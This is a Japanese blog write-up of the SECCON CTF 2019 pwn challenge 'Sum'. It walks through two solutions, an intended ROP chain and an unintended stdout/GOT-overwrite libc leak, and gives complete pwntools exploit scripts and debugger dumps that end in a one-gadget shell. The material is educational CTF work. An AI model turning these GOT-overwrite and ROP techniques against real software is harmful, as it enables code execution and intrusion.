newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 11.1】 Sum - SECCON CTF 2019 ~ 想定解と非想定解

 

 

 

 

0: 参考

【Sumの非想定解についての参考】

ptr-yudai.hatenablog.com

 

 

 

 

 

1: イントロ

 

いつぞや行われたSECCON CTF 2019の解き直しをする

今回はpwn問題 "Sum"

 

作問者様のTwitter情報だとROPをするのが想定解であるようだ

それが一番手っ取り早いし なんで気づかなかったのか不思議+情けないが

なんとかして既知のアドレスを利用した書き換えで行けないかと本番では粘ってしまった

実際ROPを使わない非想定解も存在する

 

今回はその両方の解法をメモしておく

 





2: 想定解 = ROP

入力値の6つ目に書き換え対象アドレスを入れると任意のアドレスを任意の値に書き換えることができるというのはわかっており

どうやってlibc baseをleakしようかで悩んでいた

 

結論からいうと

関数のプロローグのところでベースポインタを退避する処理を飛ばせば呼び出しの直前にスタックの一番上に積まれていた値がRAとなる

そして本来のRAは退避されたベースポインタとして扱われることになる

exit()のGOTをmain+1に書き換え、exit()を呼ぶ(入力自体は6つできるが6つ入力するとexitされる)と

その際に上に積まれているのは順にRA、そしてlocal48すなわち入力値のひとつめであるから

これがmain()のスタックフレームのRAとして扱われROPが可能になる

 

実際、exit()->main()に飛ぶとスタックは以下のようになる

pwndbg> telescope 10
00:0000│ rsp  0x7ffec9732a58 —▸ 0x7fae1c990170 ◂— 0x0
01:0008│      0x7ffec9732a60 ◂— 0x0
02:0010│      0x7ffec9732a68 —▸ 0x40083d (read_ints+80) ◂— cmp    eax, 1
03:0018│      0x7ffec9732a70 —▸ 0x601048 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x400904 (main+1) ◂— mov    rbp, rsp
04:0020│      0x7ffec9732a78 —▸ 0x7ffec9732aa0 ◂— 0xdeadbeef
05:0028│      0x7ffec9732a80 ◂— 0x600000006
06:0030│      0x7ffec9732a88 ◂— 0x92da2c56ed367b00
07:0038│      0x7ffec9732a90 —▸ 0x7ffec9732ae0 —▸ 0x4009e0 (__libc_csu_init) ◂— push   r15
08:0040│ rbp  0x7ffec9732a98 —▸ 0x4009ac (main+169) ◂— mov    rax, qword ptr [rbp - 0x10]
09:0048│      0x7ffec9732aa0 ◂— 0xdeadbeef

 

退避されたベースポインタには本来のRAが

RAには仕込んだ値がセットされていることがわかる

 

これを利用してROPをしてlibc baseをleakして

再びGOTを書き換えれば終わる話

但し(普段よく使うイメージのある)onegadgetの1番目のconstraintsは$rsp+0x40==NULLであり

何の下準備もしていない状態でのスタックの状態は以下の通り

pwndbg> telescope $rsp 10
00:0000│ rsp  0x7fff7885e108 —▸ 0x4009ac (main+169) ◂— mov    rax, qword ptr [rbp - 0x10]
01:0008│      0x7fff7885e110 ◂— 0x1
02:0010│      0x7fff7885e118 ◂— 0xffffffffffffffff
03:0018│      0x7fff7885e120 ◂— 0x1
04:0020│      0x7fff7885e128 ◂— 0xffffffffffffffff
05:0028│      0x7fff7885e130 ◂— 0x7f26694c02da
06:0030│      0x7fff7885e138 —▸ 0x601048 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x7f2669ac1322 (do_system+1138) ◂— mov    rax, qword ptr [rip + 0x39bb7f]
07:0038│      0x7fff7885e140 ◂— 0x0
08:0040│      0x7fff7885e148 ◂— 0x879e693f17fa6100
09:0048│ rbp  0x7fff7885e150 ◂— 0xfffffffffebfd080

 

条件を満たしていない

onegadgetの0番目はrcx==0であるためこれを使ってみたら、movapsの0x10byte alignに引っかかった

ということでpopを2回するgadgetを噛ませてスタックを調整してからROPすると成功する

 

本当に何でこれ本番で思いつかなかったんだろう

 

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./sum"

rhp1 = {"host":"sum.chal.seccon.jp","port":10001}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc.so")

onegadgets = [0x4f2c5,0x4f322,0x10a38c]
main_addr = 0x400903
pop_rdi_gad = 0x400a43 #in "sum"
ret_gad = 0x4005ee
pop_pop_gad = 0x400a41

def send(conn,n1,n2,n3,n4,n5,n6=0):
  conn.recvuntil("0")
  if n6==0:
    conn.sendline(str(n1)+" "+str(n2)+" "+str(n3)+" "+str(n4)+" "+str(n5))
  else:
    conn.sendline(str(n1)+" "+str(n2)+" "+str(n3)+" "+str(n4)+" "+str(n5)+" "+str(n6))

def exploit(conn):

  n1 = pop_rdi_gad #need in order to remove RA from exit()
  n2 = binf.got["setvbuf"]
  n3 = binf.plt["puts"]
  n4 = main_addr + 0x1

  #overwrite GOT of exit and invoke ROP chain
  send(conn,n1, n2, n3, n4, -(n1+n2+n3+n4) + pop_rdi_gad - binf.got["exit"],binf.got["exit"])

  #leak libc base by puts(GOT["setvbuf"])
  conn.recvuntil("0\n")
  setvbuf_addr = unpack(conn.recvline()[:-1].ljust(8,'\x00'))
  print("[+]setvbuf: "+hex(setvbuf_addr))
  libc_base = setvbuf_addr - libc.functions["setvbuf"].address
  print("[+]libc base: "+hex(libc_base))
  print("[+]onegadget1: "+hex(libc_base + onegadgets[1]))
  print("[+]onegadget2: "+hex(libc_base + onegadgets[2]))

  #invoke onegadget
  n1 = 1  #hoge
  n2 = onegadgets[0]+libc_base
  send(conn,n1,n2,-n1,-n2,pop_pop_gad - binf.got["exit"], binf.got["exit"])



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()





3: 非想定解 = stdout書き換え

まぁ非想定解といっても、write-what-whereである以上解法は一つにはなりえないと思うため非想定というのもなんなんですが

 

自分が本番中にやったのは、GOT以外の既知のアドレスを書き換えてなんとかlibcをleakできないかということ

そしてその際に頭の中にあったのは

以前HITCONのbaby_tcacheで使ったリークテクニック

このテクをそのまま使うわけではないが、libcのstdout内をごにょごにょしてどうにかできないかを考えていた

 

smallkirby.hatenablog.com

 

 

実際には本番中に成功できなかったが悪くはなかったっぽい

 

 

 

pwndbg> p &stdin
$58 = (struct _IO_FILE **) 0x601060 <stdout@@GLIBC_2.2.5>
pwndbg> x/30gx 0x601060
0x601060 <stdout@@GLIBC_2.2.5>:	0x00007fe82e798760	0x0000000000000000
0x601070 <stdin@@GLIBC_2.2.5>:	0x00007fe82e797a00	0x0000000000000000
pwndbg> x/30gx 0x7fe82e798760
0x7fe82e798760 <_IO_2_1_stdout_>:	0x00000000fbad2887	0x00007fe82e7987e3
0x7fe82e798770 <_IO_2_1_stdout_+16>:	0x00007fe82e7987e3	0x00007fe82e7987e3
0x7fe82e798780 <_IO_2_1_stdout_+32>:	0x00007fe82e7987e3	0x00007fe82e7987e3
0x7fe82e798790 <_IO_2_1_stdout_+48>:	0x00007fe82e7987e3	0x00007fe82e7987e3
0x7fe82e7987a0 <_IO_2_1_stdout_+64>:	0x00007fe82e7987e4	0x0000000000000000
0x7fe82e7987b0 <_IO_2_1_stdout_+80>:	0x0000000000000000	0x0000000000000000
0x7fe82e7987c0 <_IO_2_1_stdout_+96>:	0x0000000000000000	0x00007fe82e797a00
0x7fe82e7987d0 <_IO_2_1_stdout_+112>:	0x0000000000000001	0xffffffffffffffff
0x7fe82e7987e0 <_IO_2_1_stdout_+128>:	0x000000000a000000	0x00007fe82e7998c0
0x7fe82e7987f0 <_IO_2_1_stdout_+144>:	0xffffffffffffffff	0x0000000000000000
0x7fe82e798800 <_IO_2_1_stdout_+160>:	0x00007fe82e7978c0	0x0000000000000000
0x7fe82e798810 <_IO_2_1_stdout_+176>:	0x0000000000000000	0x0000000000000000
0x7fe82e798820 <_IO_2_1_stdout_+192>:	0x00000000ffffffff	0x0000000000000000
0x7fe82e798830 <_IO_2_1_stdout_+208>:	0x0000000000000000	0x00007fe82e7942a0

 

このとき_IO_2_1_stdout_+0x10には_IO_2_1_stdout_-0x83のアドレスが入っている

よってsumバイナリ内のstdoutの値を+0x10だけ書き換えて

かつsetvbufをputsに変えればこのアドレスをleakすることができる

 

setvbufが呼ばれているのは以下のbackgraceの示すとおり_start()の中から

───────────────────────────────────[ BACKTRACE ]───────────────────────────────────
 ► f 0     7ffff7a652f0 setvbuf
   f 1           4008c4 setup+53
   f 2           400a2d __libc_csu_init+77
   f 3     7ffff7a05b28 __libc_start_main+120

 

よってsetvbufを書き換えた後exit()を_start()に書き換えて再びsetvbuf()=puts()を呼ぶことでlibc_baseをleakする

あとは先程と同様にGOTをonegadgetで書き換えれば良い

(ここではノーチェンジでgadget[2]が使えた)

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./sum"

rhp1 = {"host":"sum.chal.seccon.jp","port":10001}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("./libc.so")

onegadgets = [0x4f2c5,0x4f322,0x10a38c]
main_addr = 0x400903
pop_rdi_gad = 0x400a43 #in "sum"
ret_gad = 0x4005ee
pop_pop_gad = 0x400a41

def send(conn,n1,n2,n3,n4,n5,n6=0):
  conn.recvuntil("0")
  if n6==0:
    conn.sendline(str(n1)+" "+str(n2)+" "+str(n3)+" "+str(n4)+" "+str(n5))
  else:
    conn.sendline(str(n1)+" "+str(n2)+" "+str(n3)+" "+str(n4)+" "+str(n5)+" "+str(n6))

def exploit(conn):
  #overwrite setvbuf with puts, stdout with stdout+0x10, and exit with _start
  send(conn,1,-1,1,-1,main_addr - binf.got["exit"],binf.got["exit"])
  send(conn,1,-1,1,-1,binf.plt["puts"] - binf.got["setvbuf"], binf.got["setvbuf"])
  send(conn,1,-1,1,-1,-binf.symbols["stdout"]-0x7 + 0x70<<(8*0x7), binf.symbols["stdout"]-0x7)
  send(conn,1,-1,1,-1,binf.functions["_start"].address - binf.got["exit"], binf.got["exit"])

  #leak libc base
  print(conn.recvuntil("2 3 4 0\n"))
  print(conn.recvuntil("2 3 4 0\n"))
  print(conn.recvuntil("2 3 4 0\n"))
  stdoutx83 = unpack(conn.recvline()[:-1].ljust(8,'\x00'))
  stdout_addr = stdoutx83-0x83
  print("[+]_IO_2_1_stdout_: "+hex(stdout_addr))
  libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
  print("[+]libc_base: "+hex(libc_base))

  #overwrite GOT with onegadget and invoke it
  send(conn,1,-1,1,-1,onegadgets[2]+libc_base - binf.got["exit"], binf.got["exit"])
  
if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()





4: アウトロ

時間内に、それもかなり短時間で解かねばならない問題だった

もっと精進する必要がある

 

SECCON2019の他の問題についてはこちら

smallkirby.hatenablog.com









続く